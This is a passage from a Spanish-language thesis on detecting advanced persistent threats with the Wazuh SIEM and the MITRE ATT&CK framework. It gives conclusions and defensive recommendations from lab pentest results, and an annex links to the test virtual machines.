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casos de uso generados por Wazuh (tanto desde sus agentes desplegados en Windows Server
2019, Apache Web Server, etc., como de la informacion consolidada de Snort), ha apoyado
significativamente la respuesta temprana y la contencion de los ataques. Siendo asi, el conjunto
de estas implementaciones y su desempefio durante las pruebas de pentesting, representa una
prueba exitosa de una defensa activa y proactiva frente a un ataque real simulado, validando la
estrategia de monitoreo integral que centraliza las detecciones en Wazuh y automatiza las alertas
criticas para una respuesta eficiente.

La configuracion por defecto de Wazuh proporciona una base solida para generar casos
de uso de ataques tradicionales. No obstante, para entornos productivos y la capacidad de generar
casos de uso para amenazas modernas, ataques sigilosos, reconocimiento activo, ingenieria social
y explotacion avanzada, la integracion y el desarrollo continuo de reglas personalizadas son

imprescindibles.

5.2. Recomendaciones

A pesar de Wazuz ser una herramienta robusta no posee reglas por defecto que
correlacione todo evento con tacticas del MITRE ATT&CK, por lo tanto, se recomienda realizar
pruebas exhaustivas de pentest aplicaciones web para implementar reglas de correlacion
personalizadas y permitir una deteccién mas precisa relacionadas con APT.

Incorporar herramientas utilizados por los equipos de red team (por ejemplo caldera) para
simular ataques, esto permitira evaluar el desempeiio del SIEM y parametrizar nuevas reglas de
correlacion en base al framework MITRE ATT&CK.

La implementacion de un hardening a nivel de sistema operativo y servicios (base de
datos, apache) puede ayudar para simular ataques avanzados con las cuales se pueda burlar las

seguridades. Al tener un hardening las pruebas de pentest seran mas complejas y se pueden
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identificar patrones avanzados con los cuales se puedan implementar nuevos casos de uso
basados en el MITRE ATT&CK.

Para optimizar la eficiencia en la deteccion de amenazas, se recomienda utilizar un
firewall intermedio como medio de filtrado de trafico no critico previo al procesamiento por
parte del servidor Wazuh, esto contribuye directamente a reducir la carga de procesamiento en el
servidor, aumentar la calidad del analisis de eventos relevantes, minimizar falsos positivos y
redundancia de alertas lo que facilita una recoleccion pasiva y efectiva de eventos de seguridad y
la correlacion eficiente de eventos alineados con el marco MITRE ATT&CK.

En un entorno real, es recomendable que todos los dispositivos dispongan o se encuentren
con sus sistemas operativos actualizados, si bien en un entorno de pruebas el uso de la maquina
virtual vulnerable fue una gran herramienta para realizar el estudio y deteccion de amenazas no
es lo optimo en un entorno ya en produccion ya que si se desea implementar el envi6 de alarmas
mediante syslog y si no se toman medidas de seguridad adecuadas un atacante podria interceptar
los datos ya que el puerto 514 no cifra los datos permitiendo que un atacante envie mensajes
falsos al servidor para ocultar actividades maliciosas (log injection), por lo que se deberian usar
reglas de validacion y deteccion de anomalias en Wazuh y configurar firewalls o listas de control
de acceso para restringir quién puede enviar mensajes al servidor Syslog.

Se recomienda una estrategia hibrida que combine la actualizacion constante de las reglas
por defecto con el desarrollo proactivo de reglas personalizadas adaptadas a las amenazas
especificas del entorno, lo que no solo amplia la capacidad de generar casos de uso relevantes,
sino que también mejora la correlacion con el framework MITRE ATT&CK para una respuesta a

incidentes més contextualizada y efectiva.



DETECCION DE APT CON MITRE ATT&CK EN UNA SIEM 203

Las pruebas de pentesting revelaron un buen nivel de deteccion en las fases iniciales del
ciclo de ataque, como Acceso Inicial, Evasion de Defensas, Escalada de Privilegios y
Persistencia. Sin embargo, se identifico una brecha importante en las fases finales —
Recopilacion, Comando y Control (C2) y Exfiltracion—, donde no se cuentan con casos de uso
robustos para deteccion, especialmente en entornos de produccion donde realizar pentesting
completo es riesgoso o inviable.

Para cerrar esta brecha, se propone integrar herramientas Open Source complementarias
con Wazuh. Por ejemplo, ModSecurity como Web Application Firewall protege el perimetro web
y permite detectar ataques como inyeccion SQL y shells reversos en los logs, aportando
visibilidad temprana. Suricata y Zeek brindan un analisis profundo del trafico de red, mejorando
la deteccion de comunicaciones C2 y movimientos de exfiltracion, que suelen ser dificiles de
capturar solo con Snort. Ademas, el andlisis de flujo de red mediante herramientas como ntopng
o Flow-tools ayuda a identificar patrones andmalos que podrian indicar exfiltracion lenta o
trafico sospechoso, aportando un enfoque complementario basado en metadatos.

Desde una perspectiva comercial, Wazuh destaca como una plataforma flexible que
permite personalizar casos de uso para detectar tacticas avanzadas sin necesidad de realizar
pentesting disruptivo en produccion. Esto es posible gracias a su capacidad para desarrollar
reglas basadas en inteligencia de amenazas y en escenarios simulados en entornos controlados.
De esta forma, se puede monitorear proactivamente y validar continuamente la postura de
seguridad, detectando comportamientos asociados a fases avanzadas del ataque si llegaran a
ocurrir.

La configuracion por defecto de Wazuh proporciona una base solida para generar casos

de uso de ataques tradicionales. No obstante, para entornos productivos y la capacidad de generar
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casos de uso para amenazas modernas, ataques sigilosos, reconocimiento activo, ingenieria social
y explotacion avanzada, la integracion y el desarrollo continuo de reglas personalizadas son
imprescindibles.
Finalmente, la estrategia incluye ofrecer un "Purple Teaming" virtualizado, donde se
simulan ataques en entornos aislados para crear y refinar reglas personalizadas en Wazuh, que
luego se despliegan en produccion. Esto proporciona una defensa robusta y adaptada,
minimizando riesgos operativos y cumpliendo con regulaciones estrictas, posicionando a Wazuh
como una solucidén comercial atractiva para mejorar la deteccion continua y la respuesta ante

amenazas avanzadas en entornos criticos.
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ANEXOS
Anexo A

Las maquinas virtuales utilizadas en el ambiente de pruebas controladas pueden

descargarse desde el siguiente link:

https://drive.google.com/drive/folders/1r120zL.6Ct42e TV 1Gk443Zuof-QbINZen



https://drive.google.com/drive/folders/1rl20zL6Ct42eTV1Gk443Zuof-QblNZgn

